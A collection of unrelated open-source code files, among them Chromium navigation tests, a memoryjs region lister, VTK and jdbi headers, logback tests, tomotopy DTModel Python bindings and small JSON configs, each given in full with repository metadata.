"button pressed\n"); nk_layout_row_dynamic(ctx, 30, 2); if (nk_option_label(ctx, "easy", op == EASY)) op = EASY; if (nk_option_label(ctx, "hard", op == HARD)) op = HARD; nk_layout_row_dynamic(ctx, 22, 1); nk_property_int(ctx, "Compression:", 0, &property, 100, 10, 1); } nk_end(ctx); /* -------------- EXAMPLES ---------------- */ #ifdef INCLUDE_CALCULATOR calculator(ctx); #endif #ifdef INCLUDE_OVERVIEW overview(ctx); #endif #ifdef INCLUDE_NODE_EDITOR node_editor(ctx); #endif /* ----------------------------------------- */ /* Draw */ nk_gdip_render(NK_ANTI_ALIASING_ON, nk_rgb(30,30,30)); } nk_gdipfont_del(font); nk_gdip_shutdown(); UnregisterClassW(wc.lpszClassName, wc.hInstance); return 0; }
2,427
1,396
<filename>core/src/main/java/org/jdbi/v3/core/mapper/reflect/ColumnNameMatcher.java<gh_stars>1000+ /* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jdbi.v3.core.mapper.reflect; /** * Strategy for matching SQL column names to Java property, field, or parameter names. */ public interface ColumnNameMatcher { /** * Returns whether the column name fits the given Java identifier name. * * @param columnName the SQL column name * @param javaName the Java property, field, or parameter name * @return whether the given names are logically equivalent */ boolean columnNameMatches(String columnName, String javaName); /** * Return whether the column name starts with the given prefix, according to the matching strategy of this * {@code ColumnNameMatcher}. This method is used by reflective mappers to short-circuit nested mapping when no * column names begin with the nested prefix. * * By default, this method returns {@code columnName.startWith(prefix)}. Third party implementations should override * this method to match prefixes by the same criteria as {@link #columnNameMatches(String, String)}. * * @param columnName the column name to test * @param prefix the prefix to test for * @return whether the column name begins with the prefix. * @since 3.5.0 */ default boolean columnNameStartsWith(String columnName, String prefix) { return columnName.startsWith(prefix); } }
589
545
#include <iostream> int main() { int n; auto isZero = [&n] { return n > 0 ? --n, false : true; }; // Use comma expression to return bool value std::cin >> n; while (!isZero()) std::cout << n << std::endl; isZero(); std::cout << n << std::endl; //std::cout << typeid(isZero()).name() << std::endl; return 0; }
132
14,668
<reponame>zealoussnow/chromium // Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "fuchsia/engine/browser/navigation_policy_throttle.h" #include <fuchsia/web/cpp/fidl.h> #include <lib/fidl/cpp/binding.h> #include "base/test/task_environment.h" #include "content/public/test/mock_navigation_handle.h" #include "fuchsia/engine/browser/fake_navigation_policy_provider.h" #include "fuchsia/engine/browser/navigation_policy_handler.h" #include "testing/gtest/include/gtest/gtest.h" namespace { const char kUrl1[] = "http://test.net/"; const char kUrl2[] = "http://page.net/"; void CheckRequestedNavigationFieldsEqual( fuchsia::web::RequestedNavigation* requested_navigation, const std::string& url, bool is_same_document) { ASSERT_TRUE(requested_navigation->has_url() && requested_navigation->has_is_same_document()); EXPECT_EQ(requested_navigation->url(), url); EXPECT_EQ(requested_navigation->is_same_document(), is_same_document); } } // namespace class MockNavigationPolicyHandle : public content::MockNavigationHandle { public: explicit MockNavigationPolicyHandle(const GURL& url) : content::MockNavigationHandle(url, nullptr) {} ~MockNavigationPolicyHandle() override = default; MockNavigationPolicyHandle(const MockNavigationPolicyHandle&) = delete; MockNavigationPolicyHandle& operator=(const MockNavigationPolicyHandle&) = delete; void set_is_main_frame(bool is_main_frame) { is_main_frame_ = is_main_frame; } bool IsInMainFrame() const override { return is_main_frame_; } private: bool is_main_frame_ = true; }; class NavigationPolicyThrottleTest : public testing::Test { public: NavigationPolicyThrottleTest() : policy_provider_binding_(&policy_provider_) {} ~NavigationPolicyThrottleTest() override = default; NavigationPolicyThrottleTest(const NavigationPolicyThrottleTest&) = delete; NavigationPolicyThrottleTest& operator=(const NavigationPolicyThrottleTest&) = delete; void SetUp() override { fuchsia::web::NavigationPolicyProviderParams params; *params.mutable_main_frame_phases() = fuchsia::web::NavigationPhase::START | fuchsia::web::NavigationPhase::PROCESS_RESPONSE; *params.mutable_subframe_phases() = fuchsia::web::NavigationPhase::REDIRECT | fuchsia::web::NavigationPhase::FAIL; policy_handler_ = std::make_unique<NavigationPolicyHandler>( std::move(params), policy_provider_binding_.NewBinding()); } FakeNavigationPolicyProvider* policy_provider() { return &policy_provider_; } protected: base::test::SingleThreadTaskEnvironment task_environment_{ base::test::SingleThreadTaskEnvironment::MainThreadType::IO}; std::unique_ptr<NavigationPolicyHandler> policy_handler_; fidl::Binding<fuchsia::web::NavigationPolicyProvider> policy_provider_binding_; FakeNavigationPolicyProvider policy_provider_; }; // The navigation is expected to be evaluated, based on the params and // NavigationPhase. The navigation is set to be aborted. TEST_F(NavigationPolicyThrottleTest, WillStartRequest_MainFrame) { MockNavigationPolicyHandle navigation_handle((GURL(kUrl1))); navigation_handle.set_is_same_document(true); policy_provider()->set_should_abort_navigation(true); NavigationPolicyThrottle throttle(&navigation_handle, policy_handler_.get()); auto result = throttle.WillStartRequest(); EXPECT_EQ(content::NavigationThrottle::DEFER, result); base::RunLoop run_loop; throttle.set_cancel_deferred_navigation_callback_for_testing( base::BindRepeating( [](base::RunLoop* run_loop, content::NavigationThrottle::ThrottleCheckResult result) { EXPECT_EQ(content::NavigationThrottle::CANCEL, result); run_loop->Quit(); }, base::Unretained(&run_loop))); run_loop.Run(); CheckRequestedNavigationFieldsEqual(policy_provider()->requested_navigation(), kUrl1, true); EXPECT_EQ(policy_provider()->num_evaluated_navigations(), 1); } // Based on the params, the client is not interested in WillStartRequests for // subframes. It will not be evaluated and the navigation is expected to // proceed, even if the NavigationPolicyProvider is set to abort the current // request. TEST_F(NavigationPolicyThrottleTest, WillStartRequest_SubFrame) { MockNavigationPolicyHandle navigation_handle((GURL(kUrl2))); navigation_handle.set_is_main_frame(false); navigation_handle.set_is_same_document(false); policy_provider()->set_should_abort_navigation(true); NavigationPolicyThrottle throttle(&navigation_handle, policy_handler_.get()); auto result = throttle.WillStartRequest(); EXPECT_EQ(content::NavigationThrottle::PROCEED, result); } // This is equivalent to WillStartRequest_SubFrame with a different // NavigationPhase. TEST_F(NavigationPolicyThrottleTest, WillRedirectRequest) { MockNavigationPolicyHandle navigation_handle((GURL(kUrl2))); navigation_handle.set_is_same_document(false); policy_provider()->set_should_abort_navigation(true); NavigationPolicyThrottle throttle(&navigation_handle, policy_handler_.get()); auto result = throttle.WillRedirectRequest(); EXPECT_EQ(content::NavigationThrottle::PROCEED, result); } // The navigation will be evaluated, and will proceed due to the value set in // |policy_provider_|. TEST_F(NavigationPolicyThrottleTest, WillFailRequest) { MockNavigationPolicyHandle navigation_handle((GURL(kUrl1))); navigation_handle.set_is_main_frame(false); navigation_handle.set_is_same_document(true); policy_provider()->set_should_abort_navigation(false); NavigationPolicyThrottle throttle(&navigation_handle, policy_handler_.get()); auto result = throttle.WillFailRequest(); EXPECT_EQ(content::NavigationThrottle::DEFER, result); base::RunLoop run_loop; throttle.set_resume_callback_for_testing(run_loop.QuitClosure()); run_loop.Run(); CheckRequestedNavigationFieldsEqual(policy_provider()->requested_navigation(), kUrl1, true); EXPECT_EQ(policy_provider()->num_evaluated_navigations(), 1); } // This navigation will be evaluated and will proceed. TEST_F(NavigationPolicyThrottleTest, WillProcessResponse) { MockNavigationPolicyHandle navigation_handle((GURL(kUrl2))); navigation_handle.set_is_same_document(true); policy_provider()->set_should_abort_navigation(false); NavigationPolicyThrottle throttle(&navigation_handle, policy_handler_.get()); auto result = throttle.WillProcessResponse(); EXPECT_EQ(content::NavigationThrottle::DEFER, result); base::RunLoop run_loop; throttle.set_resume_callback_for_testing(run_loop.QuitClosure()); run_loop.Run(); CheckRequestedNavigationFieldsEqual(policy_provider()->requested_navigation(), kUrl2, true); EXPECT_EQ(policy_provider()->num_evaluated_navigations(), 1); }
2,403
486
<reponame>mckenzielong/memoryjs #include <node.h> #include <windows.h> #include <TlHelp32.h> #include <vector> #include "memory.h" memory::memory() {} memory::~memory() {} std::vector<MEMORY_BASIC_INFORMATION> memory::getRegions(HANDLE hProcess) { std::vector<MEMORY_BASIC_INFORMATION> regions; MEMORY_BASIC_INFORMATION region; DWORD64 address; for (address = 0; VirtualQueryEx(hProcess, (LPVOID)address, &region, sizeof(region)) == sizeof(region); address += region.RegionSize) { regions.push_back(region); } return regions; }
201
1,755
<reponame>cclauss/VTK /*========================================================================= Program: Visualization Toolkit Module: vtkMotionFXCFGReader.h Copyright (c) <NAME>, <NAME>, <NAME> All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #ifndef vtkMotionFXCFGReader_h #define vtkMotionFXCFGReader_h #include "vtkIOMotionFXModule.h" // for export macro #include "vtkMultiBlockDataSetAlgorithm.h" #include <string> // for std::string /** * @class vtkMotionFXCFGReader * @brief reader for MotionFX motion definitions cfg files. * * MotionFX files comprise of `motion`s for a collection of STL files. The * motions define the transformations to apply to STL geometry to emulate * motion like translation, rotation, planetary motion, etc. * * This reader reads such a CFG file and produces a temporal output for the time * range defined in the file. The resolution of time can be controlled using the * `SetTimeResolution` method. The output is a multiblock dataset with blocks * for each of bodies, identified by an STL file, in the cfg file. * * The reader uses PEGTL (https://github.com/taocpp/PEGTL) * to define and parse the grammar for the CFG file. */ class VTKIOMOTIONFX_EXPORT vtkMotionFXCFGReader : public vtkMultiBlockDataSetAlgorithm { public: static vtkMotionFXCFGReader* New(); vtkTypeMacro(vtkMotionFXCFGReader, vtkMultiBlockDataSetAlgorithm); void PrintSelf(ostream& os, vtkIndent indent) override; ///@{ /** * Get/Set the filename. */ void SetFileName(VTK_FILEPATH const char* fname); VTK_FILEPATH const char* GetFileName() const { return this->FileName.empty() ? nullptr : this->FileName.c_str(); } ///@} ///@{ /** * Get/Set the time resolution for timesteps produced by the reader. */ vtkSetClampMacro(TimeResolution, int, 1, VTK_INT_MAX); vtkGetMacro(TimeResolution, int); ///@} protected: vtkMotionFXCFGReader(); ~vtkMotionFXCFGReader() override; int RequestInformation(vtkInformation*, vtkInformationVector**, vtkInformationVector*) override; int RequestData(vtkInformation*, vtkInformationVector**, vtkInformationVector*) override; /** * Reads meta-data. Returns false if file not readable. */ bool ReadMetaData(); std::string FileName; int TimeResolution; vtkTimeStamp FileNameMTime; vtkTimeStamp MetaDataMTime; private: vtkMotionFXCFGReader(const vtkMotionFXCFGReader&) = delete; void operator=(const vtkMotionFXCFGReader&) = delete; class vtkInternals; vtkInternals* Internals; }; #endif
881
880
<filename>logback-android/src/test/java/ch/qos/logback/core/helpers/FileFilterUtilTest.java<gh_stars>100-1000 /** * Copyright 2019 <NAME> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package ch.qos.logback.core.helpers; import ch.qos.logback.core.Context; import ch.qos.logback.core.ContextBase; import ch.qos.logback.core.rolling.helper.FileFilterUtil; import ch.qos.logback.core.rolling.helper.FileNamePattern; import org.junit.Test; import java.io.File; import java.text.ParseException; import java.text.SimpleDateFormat; import static org.junit.Assert.assertEquals; public class FileFilterUtilTest { Context context = new ContextBase(); // see also http://jira.qos.ch/browse/LBCORE-164 @Test public void findHighestCounterTest() throws ParseException { String[] sa = new String[]{"c:/log/debug-old-2010-08-10.0.log", "c:/log/debug-old-2010-08-10.1.log", "c:/log/debug-old-2010-08-10.10.log", "c:/log/debug-old-2010-08-10.11.log", "c:/log/debug-old-2010-08-10.12.log", "c:/log/debug-old-2010-08-10.2.log", "c:/log/debug-old-2010-08-10.3.log", "c:/log/debug-old-2010-08-10.4.log", "c:/log/debug-old-2010-08-10.5.log", "c:/log/debug-old-2010-08-10.6.log", "c:/log/debug-old-2010-08-10.7.log", "c:/log/debug-old-2010-08-10.8.log", "c:/log/debug-old-2010-08-10.9.log"}; File[] matchingFileArray = new File[sa.length]; for (int i = 0; i < sa.length; i++) { matchingFileArray[i] = new File(sa[i]); } FileNamePattern fnp = new FileNamePattern("c:/log/debug-old-%d{yyyy-MM-dd}.%i.log", context); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); String rexexp = null; rexexp = fnp.toRegexForFixedDate(sdf.parse("2010-08-10")); String stemRegex = FileFilterUtil.afterLastSlash(rexexp); int result = FileFilterUtil.findHighestCounter(matchingFileArray, stemRegex); assertEquals(12, result); } }
960
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.db.test; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import javax.swing.SwingUtilities; import org.netbeans.junit.NbTestCase; import org.openide.filesystems.FileSystem; import org.openide.filesystems.FileUtil; /** * Common ancestor for all test classes. * * This currently does nothing but keeping it here in case we do want to * add common functionality. * * @author <NAME> */ public abstract class TestBase extends NbTestCase { public TestBase(String name) { super(name); } /** * Force flush of config filesystem and EDT. * * Make sure outstanding writes to the config filesystem and outstanding * events on the EDT are flushed */ protected void forceFlush() { if (SwingUtilities.isEventDispatchThread()) { throw new IllegalStateException( "forceFlush might only be called off the EDT!"); } try { FileUtil.getConfigRoot().getFileSystem() .runAtomicAction(new FileSystem.AtomicAction() { @Override public void run() throws IOException { // NOOP - force a wait } }); Thread.sleep(1 * 1000); SwingUtilities.invokeAndWait(new Runnable() { @Override public void run() { // NOOP - force a wait } }); } catch (IOException | InterruptedException | InvocationTargetException ex) { throw new RuntimeException(ex); } } }
939
5,813
<filename>integration-tests/quickstart-it.json<gh_stars>1000+ { "broker_host" : "localhost", "broker_port" : "8082", "broker_tls_url" : "http://localhost:8082", "router_host" : "localhost", "router_port" : "8888", "router_tls_url" : "http://localhost:8888", "indexer_host" : "localhost", "indexer_port" : "8081", "historical_host" : "localhost", "historical_port" : "8083", "coordinator_host" : "localhost", "coordinator_port" : "8081", "middlemanager_host": "localhost", "zookeeper_hosts": "localhost:2181" }
235
14,668
// Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/variations/service/variations_safe_mode_constants.h" namespace variations { const base::FilePath::CharType kVariationsFilename[] = FILE_PATH_LITERAL("Variations"); const char kExtendedSafeModeTrial[] = "ExtendedVariationsSafeMode4"; const char kControlGroup[] = "Control4"; const char kDefaultGroup[] = "Default4"; const char kSignalAndWriteViaFileUtilGroup[] = "SignalAndWriteViaFileUtil4"; } // namespace variations
182
3,428
{"id":"02192","group":"easy-ham-1","checksum":{"type":"MD5","value":"41f1b8c296ad29aad5d34d66834cb265"},"text":"From <EMAIL> Wed Oct 2 11:44:38 2002\nReturn-Path: <<EMAIL>>\nDelivered-To: y<EMAIL>ass<EMAIL>int.org\nReceived: from localhost (jalapeno [127.0.0.1])\n\tby jmason.org (Postfix) with ESMTP id 187F016F16\n\tfor <jm@localhost>; Wed, 2 Oct 2002 11:44:38 +0100 (IST)\nReceived: from jalapeno [127.0.0.1]\n\tby localhost with IMAP (fetchmail-5.9.0)\n\tfor jm@localhost (single-drop); Wed, 02 Oct 2002 11:44:38 +0100 (IST)\nReceived: from dogma.slashnull.org (localhost [127.0.0.1]) by\n dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g9281LK31730 for\n <<EMAIL>>; Wed, 2 Oct 2002 09:01:21 +0100\nMessage-Id: <<EMAIL>>\nTo: yyyy<EMAIL>ass<EMAIL>int.org\nFrom: boingboing <<EMAIL>>\nSubject: Distributed.net cracks the RC5-64 cipher\nDate: Wed, 02 Oct 2002 08:01:20 -0000\nContent-Type: text/plain; encoding=utf-8\n\nURL: http://boingboing.net/#85512053\nDate: Not supplied\n\nThe Distributed.net project -- a precursor to SETI@Home that used volunteer \ncomputer-time to attack giant, sophisticated ciphers -- has cracked RC564. I \nused to have half a dozen computers working on this. \n\n On 14-Jul-2002, a relatively characterless PIII-450 in Tokyo returned the \n winning key to the distributed.net keyservers. The key <KEY> \n produces the plaintext output: \n\n The unknown message is: some things are better left unread \n\n Unfortunately, due to breakage in scripts (dbaker's fault, naturally) on \n the keymaster, this successful submission was not automatically detected. \n It sat undiscovered until 12-Aug-2002. The key was immediately submitted to \n RSA Labs and was verified as the winning key. \n\nLink[1] Discuss[2] (_Thanks, Dave[3]!_)\n\n[1] http://www.distributed.net/pressroom/news-20020926.html\n[2] http://www.quicktopic.com/boing/H/wf6mvUdf3xfR\n[3] http://www.seizethedave.com/\n\n\n"}
737
393
#include "../TopicModel/DT.h" #include "module.h" #include "utils.h" using namespace std; tomoto::RawDoc::MiscType DT_misc_args(TopicModelObject* self, const tomoto::RawDoc::MiscType& o) { tomoto::RawDoc::MiscType ret; ret["timepoint"] = getValueFromMiscDefault<uint32_t>("timepoint", o, "`DTModel` requires a `timepoint` value in `int` type."); return ret; } static int DT_init(TopicModelObject *self, PyObject *args, PyObject *kwargs) { size_t tw = 0, minCnt = 0, minDf = 0, rmTop = 0; tomoto::DTArgs margs; PyObject* objCorpus = nullptr, *objTransform = nullptr; static const char* kwlist[] = { "tw", "min_cf", "min_df", "rm_top", "k", "t", "alpha_var", "eta_var", "phi_var", "lr_a", "lr_b", "lr_c", "seed", "corpus", "transform", nullptr }; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "|nnnnnnffffffnOO", (char**)kwlist, &tw, &minCnt, &minDf, &rmTop, &margs.k, &margs.t, &margs.alpha[0], &margs.eta, &margs.phi, &margs.shapeA, &margs.shapeB, &margs.shapeC, &margs.seed, &objCorpus, &objTransform)) return -1; return py::handleExc([&]() { tomoto::ITopicModel* inst = tomoto::IDTModel::create((tomoto::TermWeight)tw, margs); if (!inst) throw py::RuntimeError{ "unknown `tw` value" }; self->inst = inst; self->isPrepared = false; self->minWordCnt = minCnt; self->minWordDf = minDf; self->removeTopWord = rmTop; self->initParams = py::buildPyDict(kwlist, tw, minCnt, minDf, rmTop, margs.k, margs.t, margs.alpha[0], margs.eta, margs.phi, margs.shapeA, margs.shapeB, margs.shapeC, margs.seed ); py::setPyDictItem(self->initParams, "version", getVersion()); insertCorpus(self, objCorpus, objTransform); return 0; }); } static PyObject* DT_addDoc(TopicModelObject* self, PyObject* args, PyObject *kwargs) { PyObject *argWords; size_t timepoint = 0; static const char* kwlist[] = { "words", "timepoint", nullptr }; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "O|n", (char**)kwlist, &argWords, &timepoint)) return nullptr; return py::handleExc([&]() -> PyObject* { if (!self->inst) throw py::RuntimeError{ "inst is null" }; if (self->isPrepared) throw py::RuntimeError{ "cannot add_doc() after train()" }; auto* inst = static_cast<tomoto::IDTModel*>(self->inst); if (PyUnicode_Check(argWords)) { if (PyErr_WarnEx(PyExc_RuntimeWarning, "`words` should be an iterable of str.", 1)) return nullptr; } tomoto::RawDoc raw = buildRawDoc(argWords); raw.misc["timepoint"] = (uint32_t)timepoint; auto ret = inst->addDoc(raw); return py::buildPyValue(ret); }); } static DocumentObject* DT_makeDoc(TopicModelObject* self, PyObject* args, PyObject *kwargs) { PyObject *argWords; size_t timepoint = 0; static const char* kwlist[] = { "words", "timepoint", nullptr }; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "O|n", (char**)kwlist, &argWords, &timepoint)) return nullptr; return py::handleExc([&]() -> DocumentObject* { if (!self->inst) throw py::RuntimeError{ "inst is null" }; auto* inst = static_cast<tomoto::IDTModel*>(self->inst); if (PyUnicode_Check(argWords)) { if (PyErr_WarnEx(PyExc_RuntimeWarning, "`words` should be an iterable of str.", 1)) return nullptr; } tomoto::RawDoc raw = buildRawDoc(argWords); raw.misc["timepoint"] = (uint32_t)timepoint; auto doc = inst->makeDoc(raw); py::UniqueObj corpus{ PyObject_CallFunctionObjArgs((PyObject*)&UtilsCorpus_type, (PyObject*)self, nullptr) }; auto* ret = (DocumentObject*)PyObject_CallFunctionObjArgs((PyObject*)&UtilsDocument_type, corpus.get(), nullptr); ret->doc = doc.release(); ret->owner = true; return ret; }); } static PyObject* DT_getAlpha(TopicModelObject* self, PyObject* args, PyObject *kwargs) { size_t timepoint; static const char* kwlist[] = { "timepoint", nullptr }; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "n", (char**)kwlist, &timepoint)) return nullptr; return py::handleExc([&]() { if (!self->inst) throw py::RuntimeError{ "inst is null" }; auto* inst = static_cast<tomoto::IDTModel*>(self->inst); if (timepoint >= inst->getT()) throw py::ValueError{ "`timepoint` must < `DTModel.num_timepoints`" }; vector<float> alphas; for (size_t i = 0; i < inst->getK(); ++i) { alphas.emplace_back(inst->getAlpha(i, timepoint)); } return py::buildPyValue(alphas); }); } static PyObject* DT_getPhi(TopicModelObject* self, PyObject* args, PyObject *kwargs) { size_t timepoint, topicId; static const char* kwlist[] = { "timepoint", "topic_id", nullptr }; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "nn", (char**)kwlist, &timepoint, &topicId)) return nullptr; return py::handleExc([&]() { if (!self->inst) throw py::RuntimeError{ "inst is null" }; auto* inst = static_cast<tomoto::IDTModel*>(self->inst); return py::buildPyValue(inst->getPhi(topicId, timepoint)); }); } static PyObject* DT_getTopicWords(TopicModelObject* self, PyObject* args, PyObject *kwargs) { size_t topicId, timepoint, topN = 10; static const char* kwlist[] = { "topic_id", "timepoint", "top_n", nullptr }; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "nn|n", (char**)kwlist, &topicId, &timepoint, &topN)) return nullptr; return py::handleExc([&]() { if (!self->inst) throw py::RuntimeError{ "inst is null" }; auto* inst = static_cast<tomoto::IDTModel*>(self->inst); if (topicId >= inst->getK()) throw py::ValueError{ "must topic_id < k" }; if (timepoint >= inst->getT()) throw py::ValueError{ "must topic_id < t" }; return py::buildPyValue(inst->getWordsByTopicSorted(topicId + inst->getK() * timepoint, topN)); }); } static PyObject* DT_getTopicWordDist(TopicModelObject* self, PyObject* args, PyObject *kwargs) { size_t topicId, timepoint, normalize = 1; static const char* kwlist[] = { "topic_id", "timepoint", "normalize", nullptr }; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "nn|p", (char**)kwlist, &topicId, &timepoint, &normalize)) return nullptr; return py::handleExc([&]() { if (!self->inst) throw py::RuntimeError{ "inst is null" }; auto* inst = static_cast<tomoto::IDTModel*>(self->inst); if (topicId >= inst->getK()) throw py::ValueError{ "must topic_id < k" }; if (timepoint >= inst->getT()) throw py::ValueError{ "must topic_id < t" }; return py::buildPyValue(inst->getWidsByTopic(topicId + inst->getK() * timepoint, !!normalize)); }); } static PyObject* DT_getCountByTopics(TopicModelObject* self) { return py::handleExc([&]() { if (!self->inst) throw py::RuntimeError{ "inst is null" }; auto* inst = static_cast<tomoto::IDTModel*>(self->inst); auto l = inst->getCountByTopic(); npy_intp shapes[2] = { (npy_intp)inst->getT(), (npy_intp)inst->getK() }; PyObject* ret = PyArray_EMPTY(2, shapes, NPY_INT64, 0); for (size_t i = 0; i < inst->getT(); ++i) { memcpy(PyArray_GETPTR2((PyArrayObject*)ret, i, 0), &l[inst->getK() * i], sizeof(uint64_t) * inst->getK()); } return ret; }); } DEFINE_LOADER(DT, DT_type); static PyMethodDef DT_methods[] = { { "add_doc", (PyCFunction)DT_addDoc, METH_VARARGS | METH_KEYWORDS, DT_add_doc__doc__ }, { "make_doc", (PyCFunction)DT_makeDoc, METH_VARARGS | METH_KEYWORDS, DT_make_doc__doc__ }, { "get_count_by_topics", (PyCFunction)DT_getCountByTopics, METH_NOARGS, DT_get_count_by_topics__doc__}, { "get_alpha", (PyCFunction)DT_getAlpha, METH_VARARGS | METH_KEYWORDS, DT_get_alpha__doc__ }, { "get_phi", (PyCFunction)DT_getPhi, METH_VARARGS | METH_KEYWORDS, DT_get_phi__doc__ }, { "get_topic_words", (PyCFunction)DT_getTopicWords, METH_VARARGS | METH_KEYWORDS, DT_get_topic_words__doc__ }, { "get_topic_word_dist", (PyCFunction)DT_getTopicWordDist, METH_VARARGS | METH_KEYWORDS, DT_get_topic_word_dist__doc__ }, { "load", (PyCFunction)DT_load, METH_STATIC | METH_VARARGS | METH_KEYWORDS, LDA_load__doc__ }, { "loads", (PyCFunction)DT_loads, METH_STATIC | METH_VARARGS | METH_KEYWORDS, LDA_loads__doc__ }, { nullptr } }; DEFINE_GETTER(tomoto::IDTModel, DT, getShapeA); DEFINE_GETTER(tomoto::IDTModel, DT, getShapeB); DEFINE_GETTER(tomoto::IDTModel, DT, getShapeC); DEFINE_GETTER(tomoto::IDTModel, DT, getT); DEFINE_GETTER(tomoto::IDTModel, DT, getNumDocsByT); DEFINE_SETTER_CHECKED_FLOAT(tomoto::IDTModel, DT, setShapeA, value > 0); DEFINE_SETTER_CHECKED_FLOAT(tomoto::IDTModel, DT, setShapeB, value >= 0); DEFINE_SETTER_CHECKED_FLOAT(tomoto::IDTModel, DT, setShapeC, 0.5 < value && value <= 1); static PyObject* DT_alpha(TopicModelObject* self, void* closure) { return py::handleExc([&]() { if (!self->inst) throw py::RuntimeError{ "inst is null" }; auto* inst = static_cast<tomoto::IDTModel*>(self->inst); npy_intp shapes[2] = { (npy_intp)inst->getT(), (npy_intp)inst->getK() }; PyObject* ret = PyArray_EMPTY(2, shapes, NPY_FLOAT, 0); for (size_t t = 0; t < inst->getT(); ++t) { for (size_t k = 0; k < inst->getK(); ++k) { *(float*)PyArray_GETPTR2((PyArrayObject*)ret, t, k) = inst->getAlpha(k, t); } } return ret; }); } static PyGetSetDef DT_getseters[] = { { (char*)"lr_a", (getter)DT_getShapeA, (setter)DT_setShapeA, DT_lr_a__doc__, nullptr }, { (char*)"lr_b", (getter)DT_getShapeB, (setter)DT_setShapeB, DT_lr_b__doc__, nullptr }, { (char*)"lr_c", (getter)DT_getShapeC, (setter)DT_setShapeC, DT_lr_c__doc__, nullptr }, { (char*)"alpha", (getter)DT_alpha, nullptr, DT_alpha__doc__, nullptr }, { (char*)"eta", nullptr, nullptr, DT_eta__doc__, nullptr }, { (char*)"num_timepoints", (getter)DT_getT, nullptr, DT_num_timepoints__doc__, nullptr }, { (char*)"num_docs_by_timepoint", (getter)DT_getNumDocsByT, nullptr, DT_num_docs_by_timepoint__doc__, nullptr }, { nullptr }, }; TopicModelTypeObject DT_type = { { PyVarObject_HEAD_INIT(nullptr, 0) "tomotopy.DTModel", /* tp_name */ sizeof(TopicModelObject), /* tp_basicsize */ 0, /* tp_itemsize */ (destructor)TopicModelObject::dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ DT___init____doc__, /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ DT_methods, /* tp_methods */ 0, /* tp_members */ DT_getseters, /* tp_getset */ &LDA_type, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ (initproc)DT_init, /* tp_init */ PyType_GenericAlloc, PyType_GenericNew, }, DT_misc_args }; PyObject* Document_eta(DocumentObject* self, void* closure) { return py::handleExc([&]() -> PyObject* { if (self->corpus->isIndependent()) throw py::AttributeError{ "doc has no `eta` field!" }; if (!self->doc) throw py::RuntimeError{ "doc is null!" }; if (auto* ret = docVisit<tomoto::DocumentDTM>(self->getBoundDoc(), [](auto* doc) { return py::buildPyValue(doc->eta.array().data(), doc->eta.array().data() + doc->eta.array().size()); })) return ret; throw py::AttributeError{ "doc has no `eta` field!" }; }); } DEFINE_DOCUMENT_GETTER(tomoto::DocumentDTM, timepoint, timepoint);
5,307
938
<reponame>brickviking/TinkersConstruct<gh_stars>100-1000 { "type": "tconstruct:material_fluid", "fluid": { "tag": "tconstruct:ender_slime", "amount": 250 }, "temperature": 70, "output": "tconstruct:enderslime" }
94
648
<filename>spec/hl7.fhir.core/1.0.2/package/DataElement-ValueSet.publisher.json {"resourceType":"DataElement","id":"ValueSet.publisher","meta":{"lastUpdated":"2015-10-24T07:41:03.495+11:00"},"url":"http://hl7.org/fhir/DataElement/ValueSet.publisher","status":"draft","experimental":true,"stringency":"fully-specified","element":[{"path":"ValueSet.publisher","short":"Name of the publisher (organization or individual)","definition":"The name of the individual or organization that published the value set.","comments":"Usually an organization, but may be an individual. This item SHOULD be populated unless the information is available from context.","requirements":"Helps establish the \"authority/credibility\" of the value set. May also allow for contact.","min":0,"max":"1","type":[{"code":"string"}],"isSummary":true,"mapping":[{"identity":"w5","map":"who.witness"}]}]}
236
